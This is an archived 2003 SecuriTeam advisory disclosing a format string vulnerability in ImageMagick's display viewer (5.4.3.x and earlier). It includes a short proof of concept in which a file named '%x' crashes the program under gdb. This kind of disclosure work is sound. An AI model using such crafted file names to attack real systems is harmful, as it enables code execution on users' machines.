[UNIX] Format String Vulnreability Found in ImageMagick

From: SecuriTeam (support_at_securiteam.com)
Date: 07/15/03

  • Next message: SecuriTeam: "[NT] Flaw in Windows Message Handling through Utility Manager Could Enable Privilege Elevation"
    To: list@securiteam.com
    Date: 15 Jul 2003 12:46:42 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      Format String Vulnreability Found in ImageMagick
    ------------------------------------------------------------------------

    SUMMARY

    The <http://www.imagemagick.org/> ImageMagick (display) is an image
    viewer. ImageMagick is part of the KDE desktop and is bundled with all
    major Linux distributions.

    A vulnerability was found in this application that could lead to the
    execution of arbitrary code with the privileges of the user running the
    program. This vulnerability can be exploited from within email clients
    that use ImageMagick as default for image viewing.

    DETAILS

    Vulnerable systems:
     * ImageMagick version 5.4.3.x and prior

    Exploit:
    [root@localhost? root]# ls -l /usr/X11R6/bin/display
    -rwxr-xr-x 1 root root 30564 Mar 14 2002 /usr/X11R6/bin/display
    [root@localhost? root]# touch %x
    [root@localhost? root]# gdb display
    (gdb) r
    Starting program: /usr/X11R6/bin/display
    [New Thread 1024 (LWP 757)]

    At this point open the file "%x" via ImageMagick, in the gdb prompt you
    will see the following:
    Program received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 1024 (LWP 757)]
    0x4003cf0b in SetExceptionInfo () from /usr/X11R6/lib/libMagick.so.5
    (gdb)

    ADDITIONAL INFORMATION

    Information has been supplied by <mailto:angelo@rosiello.org> Angelo
    Rosiello

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Flaw in Windows Message Handling through Utility Manager Could Enable Privilege Elevation"

    Relevant Pages